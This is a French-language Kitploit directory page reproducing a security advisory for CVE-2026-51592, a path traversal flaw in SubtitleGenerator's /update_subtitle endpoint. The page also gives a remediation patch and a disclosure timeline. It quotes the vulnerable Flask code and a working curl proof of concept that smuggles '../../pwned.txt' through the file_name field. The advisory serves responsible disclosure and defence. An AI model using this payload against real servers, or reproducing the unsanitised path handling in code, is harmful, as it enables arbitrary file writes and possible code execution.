Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-51592 — Vulnérabilité de traversée de chemin dans TahaBakhtari/SubtitleGenerator - CVE-2026-51592 | Kitploit
Outils/GitHubGitHub/ardakrg/cve-2026-51592
Analyse des VulnérabilitésSécurité WebArticles et RechercheApprentissage et ÉducationRessources Organisées
GitHubardakrg/cve-2026-51592

CVE-2026-51592

Vulnérabilité de traversée de chemin dans TahaBakhtari/SubtitleGenerator - CVE-2026-51592

Voir le dépôt
il y a 27 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-51592 — Traversée de chemin dans TahaBakhtari/SubtitleGenerator

Résumé

Une vulnérabilité de traversée de chemin existe dans le point de terminaison /update_subtitle de TahaBakhtari/SubtitleGenerator. Le point de terminaison accepte un paramètre file_name provenant d'un client non authentifié et le concatène à un répertoire de base fixe à l'aide de os.path.join(), sans assainir les séquences de traversée de chemin. Par conséquent, un attaquant distant non authentifié peut écrire des fichiers arbitraires en dehors du répertoire prévu data/subtitles/, dans la limite des permissions du processus en cours d'exécution.

Produit affecté

  • Produit : SubtitleGenerator
  • Dépôt : https://github.com/TahaBakhtari/SubtitleGenerator
  • Version affectée : commit 2e2553a (dernière au moment du test)
  • Composant affecté : app.py, fonction update_subtitle (lignes 225 à 238)

Détails

root@kitploit:~
@app.route('/update_subtitle', methods=['POST'])
def update_subtitle():
    file_type = request.form.get('file_type', 'srt')
    new_content = request.form.get('new_content')
    file_name = request.form.get('file_name')

    if not file_name:
        return jsonify({'status': 'error', 'message': '...'}), 400

    file_path = os.path.join("data/subtitles", file_name)

    try:
        with open(file_path, "w", encoding="utf-8") as f:
            f.write(new_content)
        return jsonify({'status': 'success', 'message': '...'})
    except Exception as e:
        return jsonify({'status': 'error', 'message': str(e)}), 500

Le paramètre file_name est utilisé pour construire un chemin de fichier sans aucune validation. Un attaquant peut fournir une valeur telle que ../../pwned.txt pour sortir du répertoire data/subtitles/ et écrire dans un emplacement arbitraire sur lequel le processus dispose de droits d'écriture.

Par défaut, l'application écoute sur 0.0.0.0:5000 (voir app.py), ce qui signifie qu'elle est accessible sur le réseau et non restreinte à localhost.

CWE

CWE-22 : Limitation incorrecte d'un nom de chemin à un répertoire restreint (traversée de chemin)

Impact

  • Écriture arbitraire de fichiers dans la limite des permissions du processus Flask

  • Écrasement de fichiers de configuration ou d'application existants

  • Écrasement potentiel des fichiers sources de l'application (par exemple app.py), ce qui pourrait mener à une exécution de code au prochain redémarrage

  • Déni de service par corruption de fichiers critiques

  • Vecteur d'attaque : À distance

  • Authentification requise : Non

  • Interaction utilisateur requise : Non

  • Sévérité (préliminaire) : Élevée

Preuve de concept

root@kitploit:~
curl -X POST "http://target:5000/update_subtitle" \
  --data "file_name=../../pwned.txt&new_content=HACKED"

Réponse :

root@kitploit:~
{"status": "success", "message": "..."}

Vérification sur le serveur :

root@kitploit:~
$ ls
... pwned.txt ...

$ cat pwned.txt
HACKED

Le fichier pwned.txt est écrit dans le répertoire racine du projet, deux niveaux au-dessus du répertoire prévu data/subtitles/ — ce qui confirme la traversée de chemin.

Voir poc.sh pour une version exécutable de cette preuve de concept.

Remédiation

Validez que le chemin résolu reste dans data/subtitles/ à l'aide de os.path.realpath() avant d'ouvrir le fichier :

root@kitploit:~
base_dir = os.path.realpath("data/subtitles")
target = os.path.realpath(os.path.join("data/subtitles", file_name))

if not target.startswith(base_dir + os.sep):
    return jsonify({'status': 'error', 'message': 'invalid filename'}), 400

file_path = target

Cela garantit que le chemin résultant se résout toujours à l'intérieur de data/subtitles/, bloquant ainsi efficacement les séquences de traversée telles que ../../.

Le correctif complet est disponible dans patch.diff. Ce correctif a été implémenté et vérifié sur une instance de test locale : la même charge utile que celle utilisée dans la preuve de concept ci-dessus renvoie désormais une erreur "invalid filename" au lieu d'écrire le fichier.

Chronologie

  • 2026-04-26 — Vulnérabilité signalée au mainteneur par courriel (adresse indiquée sur le profil GitHub du mainteneur)
  • 2026-06-25 — Identifiant CVE réservé par l'équipe d'attribution de CVE de MITRE
  • 2026-07-24 — Aucune réponse reçue du mainteneur ; divulgation publique (90 jours après le signalement initial)

Crédit

Découverte et signalée par Arda Kuruoglu.

Politique de divulgation

Cette vulnérabilité a été divulguée conformément à un calendrier de divulgation responsable de 90 jours, à compter de la date du signalement initial au mainteneur.

Fichiers de ce dépôt

  • README.md — ce rapport
  • poc.sh — script de preuve de concept démontrant la vulnérabilité
  • patch.diff — correctif suggéré, validé sur une instance de test locale

Licence

Ce rapport et les fichiers qui l'accompagnent sont publiés sous licence MIT.

Télécharger l’outil